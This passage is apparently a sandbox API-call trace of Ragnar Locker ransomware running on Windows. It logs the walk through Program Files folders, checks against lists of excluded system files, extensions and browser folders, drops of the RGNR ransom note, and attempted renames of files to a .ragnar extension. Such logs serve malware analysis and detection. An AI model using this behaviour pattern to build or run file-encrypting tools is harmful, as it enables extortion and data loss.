lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73322740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73322740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0055.292] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0055.292] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0055.292] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73322740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73322740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0055.292] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0055.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73322740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73322740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0055.293] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73322740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73322740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.293] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0055.293] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0055.293] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="oskmenubase.xml" | out: lpString1="oskmenubase.xml") returned="oskmenubase.xml" [0055.293] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned=".xml" [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="autorun.inf") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="boot.ini") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="bootfont.bin") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="bootsect.bak") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="bootmgr") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="bootmgr.efi") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="bootmgfw.efi") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="desktop.ini") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="iconcache.db") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="ntldr") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="ntuser.dat") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="ntuser.dat.log") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="ntuser.ini") returned 1 [0055.293] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="thumbs.db") returned -1 [0055.293] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.293] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.293] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.293] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.293] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.293] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.293] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0056.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.319] CloseHandle (hObject=0xffffffff) returned 0 [0056.319] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" [0056.319] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.ragnar_FD7BD9FC" [0056.319] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.319] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73322740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73322740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.319] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x50 [0056.320] lstrcpyW (in: lpString1=0x1ea0aa, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.320] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.320] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.320] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73322740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73322740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0056.320] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0056.320] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0056.320] lstrcmpiW (lpString1="oskmenu.xml", lpString2=".") returned 1 [0056.320] lstrcmpiW (lpString1="oskmenu.xml", lpString2="..") returned 1 [0056.320] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2=".") returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="..") returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="Windows") returned -1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="Windows.old") returned -1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="Tor browser") returned -1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="Internet Explorer") returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="Google") returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="Opera") returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="Opera Software") returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="Mozilla") returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="Mozilla Firefox") returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="$Recycle.Bin") returned 1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="ProgramData") returned -1 [0056.320] lstrcmpiW (lpString1="osknumpad", lpString2="All Users") returned 1 [0056.320] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0056.320] lstrcpyW (in: lpString1=0x1eab72, lpString2="osknumpad" | out: lpString1="osknumpad") returned="osknumpad" [0056.320] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\" [0056.320] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\" [0056.320] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\RGNR_FD7BD9FC.txt" [0056.320] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.322] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*" [0056.322] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x52 [0056.322] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.322] lstrcpyW (in: lpString1=0x1e9c9a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73cf4200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73cf4200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0056.323] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.323] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73cf4200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73cf4200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.323] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.323] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.323] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2=".") returned 1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="..") returned 1 [0056.323] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73cf4200, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73cf4200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.323] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.323] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.323] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73cf4200, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73cf4200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0056.323] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0056.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73cf4200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73cf4200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0056.323] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x73cf4200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x73cf4200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.323] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0056.323] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x52 [0056.323] lstrcpyW (in: lpString1=0x1ea0ae, lpString2="osknumpadbase.xml" | out: lpString1="osknumpadbase.xml") returned="osknumpadbase.xml" [0056.323] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned=".xml" [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="autorun.inf") returned 1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="boot.ini") returned 1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="bootfont.bin") returned 1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="bootsect.bak") returned 1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="bootmgr") returned 1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="bootmgr.efi") returned 1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="bootmgfw.efi") returned 1 [0056.323] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="desktop.ini") returned 1 [0056.324] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="iconcache.db") returned 1 [0056.324] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="ntldr") returned 1 [0056.324] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="ntuser.dat") returned 1 [0056.324] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="ntuser.dat.log") returned 1 [0056.324] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="ntuser.ini") returned 1 [0056.324] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="thumbs.db") returned -1 [0056.324] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0056.324] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0056.324] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0056.324] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0056.324] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0056.324] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0056.324] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0056.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0056.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.324] CloseHandle (hObject=0xffffffff) returned 0 [0056.324] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" [0056.324] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.ragnar_FD7BD9FC" [0056.324] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.324] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73cf4200, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x73cf4200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.324] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x52 [0056.324] lstrcpyW (in: lpString1=0x1ea0ae, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.324] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.324] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", 